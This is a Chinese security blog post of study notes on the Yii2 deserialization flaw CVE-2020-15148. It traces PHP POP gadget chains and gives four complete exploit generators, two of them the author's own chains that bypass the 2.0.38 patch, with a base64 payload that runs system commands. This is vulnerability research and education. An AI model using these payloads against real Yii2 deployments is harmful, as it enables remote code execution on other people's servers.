Yii2 反序列化(CVE-2020-15148)学习笔记

0x00 前言

HW期间爆出的Yii2漏洞,分别在9月19日进行复现,9月22日研究新的POC,并且尝试自己挖掘POP链。

影响范围

  • Yii2 < 2.0.38

0x01 漏洞复现

1.1 环境搭建

我是github下载的源码,利用MAMP构建。

选择一个存在漏洞的版本:https://github.com/yiisoft/yii2/releases/tag/2.0.37

解压到Web目录,然后修改一下配置文件。
/config/web.php:给cookieValidationKey字段设置一个值(随便什么值)作为yii\web\Request::cookieValidationKey的加密值,不设置会报错如下图所示:

接着添加一个存在漏洞的Action:/controllers/TestController.php:

<?php

namespace app\controllers;

use Yii;
use yii\web\Controller;

class TestController extends Controller
{
public function actionIndex(){
$name = Yii::$app->request->get('test');
return unserialize(base64_decode($name));
}

}

测试成功,完成环境搭建。

1.2 漏洞分析与第一条POP链

漏洞入口点定位在:/vendor/yiisoft/yii2/db/BatchQueryResult.php :line79-98

对象销毁的时候,会调用reset()方法,函数中的$this->_dataReader变量可控。而这个变量调用了close()函数,这个函数在类中不存在,因此可以触发__call魔术方法,接下来就是要寻找可利用的点。

通过搜索功能可以很容易的找到很多利用点,米斯特安全团队在复现时使用的是Faker\Generator类/vendor/fzaninotto/faker/src/Faker/Generator.php

<?php  

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
/**
* @param string $formatter
*
* @return Callable
*/
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
...

这个类的__call()方法会调用format()方法,

format()方法通过getFormatter($formatter)方法获取参数,传入call_user_func_array

因为this->$formatters我们可控,可以继续去调用任意类任意方法。

但是$arguments是从yii\db\BatchQueryResult::reset()里传过来的,我们不可控(为空),所以我们只能不带参数地去调用别的类中的方法。

目前$formatter='close',$arguments为空,this->formatters可控。

那我们会想因为需要不带参数调用其他类的方法,那么这时需要的方法一定要满足两个条件:

  1. 方法所需的参数只能是其自己类中存在的(即参数:$this->args
  2. 方法需要有命令执行功能

米斯特团队是通过call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)的正则来查找到两个方法比较合适:

  1. yii\rest\CreateAction::run()
  2. \yii\rest\IndexAction::run()

/vendor/yiisoft/yii2/rest/IndexAction.php::run()中的$this->checkAccess, $this->id都是可控的。

/vendor/yiisoft/yii2/rest/CreateAction.php::run()中的$this->checkAccess, $this->id都是可控的。

通过这两个函数都可以执行。

于是构造了完整的POP链:

POP1:
yii\db\BatchQueryResult::__destruct()->reset()->close()
->
Faker\Generator::__call()->format()->call_user_func_array()
->
\yii\rest\IndexAction::run->call_user_func()

完整的POP链有了之后,EXP的编写就相对简单了:

<?php
//EXP1:BatchQueryResult ->...-> __call()
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami'; //command
// run() -> call_user_func($this->checkAccess, $this->id);
}
}
}

namespace Faker{
use yii\rest\IndexAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new IndexAction, 'run'];
//reset方法里又调用了close()方法:$this->_dataReader->close();
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19
}
?>

1.3 漏洞修复

Yii 2.0.38版本修复该漏洞,那么他是怎么修复的呢?

github compare

可以看到就只是在yii\db\BatchQueryResult类里添加了一个__wakeup方法,

__wakeup方法在类被反序列化时会自动被调用,而这里这么写,目的就是在当BatchQueryResult类被反序列化时就直接报错,避免反序列化的发生,也就避免了该漏洞产生。

0x02 通过不同的思路构造新的POP链

我们除了可以通过__call方法,因为调用close(),我们还可以通过存在危险函数的close()方法的类,来进行RCE。

全局查询close函数function close\(\)

看了一圈,发现\yii\web\DbSession::close存在危险函数且参数可控。

//web/DbSession.php::line146
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
YII_DEBUG ? session_write_close() : @session_write_close();
}
}

跟进$this->composeFields()

//web/MultiFieldSession.php::line 96
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}

call_user_func函数中的$callback参数支持已实例化的对象作为数组传递:

https://www.php.net/manual/zh/language.types.callable.php

Callback / Callable 类型

PHP是将函数以string形式传递的。 可以使用任何内置或用户自定义函数,但除了语言结构例如:array()echoempty()eval()exit()isset()list()printunset()

一个已实例化的 object 的方法被作为 array 传递,下标 0 包含该 object,下标 1 包含方法名。 在同一个类里可以访问 protected 和 private 方法。

POP2:
yii\db\BatchQueryResult::__destruct()->reset()
->
\yii\web\DbSession::close -> MultiFieldSession::composeFields -> call_user_func($this->writeCallback, $this)
->
\yii\rest\IndexAction::run->call_user_func()

EXP2

<?php
// EXP2: BatchQueryResult -> DbSession::close -> call_user_func -> IndexAction

namespace yii\db{
use yii\web\DbSession;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new DbSession();
}
}
}

namespace{
$payload = new yii\db\BatchQueryResult();
echo base64_encode(serialize($payload));
}

namespace yii\web{
use yii\rest\IndexAction;

class DbSession{
public $writeCallback;
function __construct()
{
$this->writeCallback = [new IndexAction(), 'run'];
}
}

}

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al'; //command
// run() -> call_user_func($this->checkAccess, $this->id);
}
}
}

0x03 新版本2.0.38下的反序列化

从上面的修复方案不难看出,新版本2.0.38修复了BatchQueryResult类的反序列化问题,那么是否存在其他的类可以反序列化呢?于是开始下面的尝试。

首先我们需要明确思路:

  • 通过不同的触发点来绕过新版本的Patch。因为新版本的patch只是打在了BatchQueryResult这个触发点的类中,如果存在其他的类有触发点,那么问题就可以迎刃而解。

首先查找一下比较常见的反序列化触发点:function __destruct()|__wakeup()

也不是很多,可以挨个看一下,应该会有一些发现的。我将全部的都看了一遍,然后把可以利用的类,构造EXP。不可以利用的类,说明原因。

3.1 EXP3:

vendor/codeception/codeception/ext/RunProcess.php:93

   public function __destruct()
{
$this->stopProcess();
}

public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
}

__destruct()析构的时候,调用stopProcess(),而函数中的this->processes可控,也就意味着$process可控。而因为$process调用isRunning()函数进行判断,这个不在类中,会触发__call()方法。

至于后面的嘛,就可以接上第一条利用链POP1的__call()方法开头的后半段,完成一个新的POP链:

POP3:
\Codeception\Extension\RunProcess::__destruct()->stopProcess()->$process->isRunning()
->
Faker\Generator::__call()->format()->call_user_func_array()
->
\yii\rest\IndexAction::run->call_user_func()

EXP3

<?php
// EXP3: RunProcess -> ... -> __call()
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al'; //command
// run() -> call_user_func($this->checkAccess, $this->id);
}
}
}

namespace Faker{
use yii\rest\IndexAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['isRunning'] = [new IndexAction, 'run'];
//stopProcess方法里又调用了isRunning()方法: $process->isRunning()
}
}
}


namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}

}
}

namespace{
use Codeception\Extension\RunProcess;

echo base64_encode(serialize(new RunProcess()));
}

?>

3.2 EXP4

\Swift_KeyCache_DiskKeyCache::__destruct调用clearAll

public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}

跟进到clearAll():

public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}

调用clearKey:

public function clearKey($nsKey, $itemKey)
{
if ($this->hasKey($nsKey, $itemKey)) {
$this->freeHandle($nsKey, $itemKey);
unlink($this->path.'/'.$nsKey.'/'.$itemKey);
}
}

这里的unlink用到了拼接字符串,而this->path可控,所以就调用__toString()方法:

__toString 当一个对象被当做字符串使用时被调用

接下来需要找到可以利用的__toString()魔术方法来触发后续操作。

全局搜索一下__toString()方法:function __toString\(\)

可以发现不少的方法,接下来最好找一些调用其他类函数__toString

比如我找了几个:

\Codeception\Util\XmlBuilder::__toString -> \DOMDocument::saveXML 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Deprecated::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Generic::__toString -> render 可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\See::__toString -> render可以触发__call方法

\phpDocumentor\Reflection\DocBlock\Tags\Link::__toString -> render


...

\phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString为例,

public function __toString() : string
{
return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
}

$this->refers$this->description可控。同时它在调用render()时会调用__call魔术方法。

之后就与POP1的后半段链一样了。

完整的POP链如下:

POP4:
\Swift_KeyCache_DiskKeyCache::__destruct -> clearAll -> clearKey -> __toString
->
\phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString -> render
->
Faker\Generator::__call()->format() -> call_user_func_array()
->
\yii\rest\IndexAction::run -> call_user_func()

EXP4

<?php
// EXP: Swift_KeyCache_DiskKeyCache::__destruct -> __toString -> __call
namespace {
use phpDocumentor\Reflection\DocBlock\Tags\Covers;

class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys;

public function __construct()
{
$this->keys = array(
"V0W" =>array("is", "Ca1j1")
); //注意 ClearAll中的数组解析了两次,之后再unlink
$this->path = new Covers();
}
}

$payload = new Swift_KeyCache_DiskKeyCache();
echo base64_encode(serialize($payload));
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;

class Covers{
private $refers;
protected $description;
public function __construct()
{
$this->description = new Generator();
$this->refers = "AnyStringisOK";
}
}

}

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al'; //command
// run() -> call_user_func($this->checkAccess, $this->id);
}
}
}

namespace Faker{
use yii\rest\IndexAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['render'] = [new IndexAction, 'run'];
//stopProcess方法里又调用了isRunning()方法: $process->isRunning()
}
}
}

也是会报错,但是命令顺利执行了:

EXP4

3.3 不能利用的类

以下是我在查找可利用方法时,做的一点记录,但是因为可能会一眼扫过去,漏掉了,所以仅供参考,师傅们,别因为这个丢了一个0day :)

可控变量调用 非本类方法时,会调用__call
也就是说要满足这样的正则表达式:\$this->(\w+)->(\w+)\(\)

  • \Faker\Generator::__destruct调用seed()方法(同类),seed()也没有可控变量。

  • \GuzzleHttp\Psr7\FnStream类存在__destruct()函数,而且调用call_user_func($this->_fn_close);但是同时重写了__wakeup()方法:

    public function __wakeup()
    {
    throw new \LogicException('FnStream should never be unserialized');
    }
  • \GuzzleHttp\Psr7\Stream::__destruct调用的方法是本类中存在或者原生方法,不调__call()

  • \PHP_Token_Stream::__destruct未调用任何其他方法。

  • \Swift_Message::__wakeup无可控变量。

  • \Swift_ByteStream_TemporaryFileByteStream::__destruct调用getPath()但是在getPath()中的没有可控变量调用额外方法,不触发__call()

  • \Swift_CharacterReaderFactory_SimpleCharacterReaderFactory::__wakeup不调用__call()

  • \Swift_Encoder_QpEncoder::__wakeup没有可控变量。

  • \Swift_Mime_SimpleMimeEntity::__destruct:$this->cache不可控

0x04 总结

本文从头到尾捋了一遍Yii的反序列化,从不同的视角和不同的触发点将这个漏洞深入学习了一下。复现出来了两个EXP(EXP1,EXP2,略有改动)。自己挖掘构造了在v2.0.38版本下可以继续利用POP链,并完成两个EXP的编写(EXP3,EXP4),在v2.0.38中测试,均成功RCE。

感觉PHP的反序列化,在挖掘过程中,主要是要把握触发点和利用链。整个POP链的构造过程非常有意思,另外,还学习到了一些新知识,比如call_user_func中的callback可以是数组,这个姿势之前就没注意过。

0xFF 参考链接

文章作者: V0WKeep3r
文章链接: http://v0w.top/2020/09/22/Yii2unserialize/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 V0W's Blog
支付宝打赏
微信打赏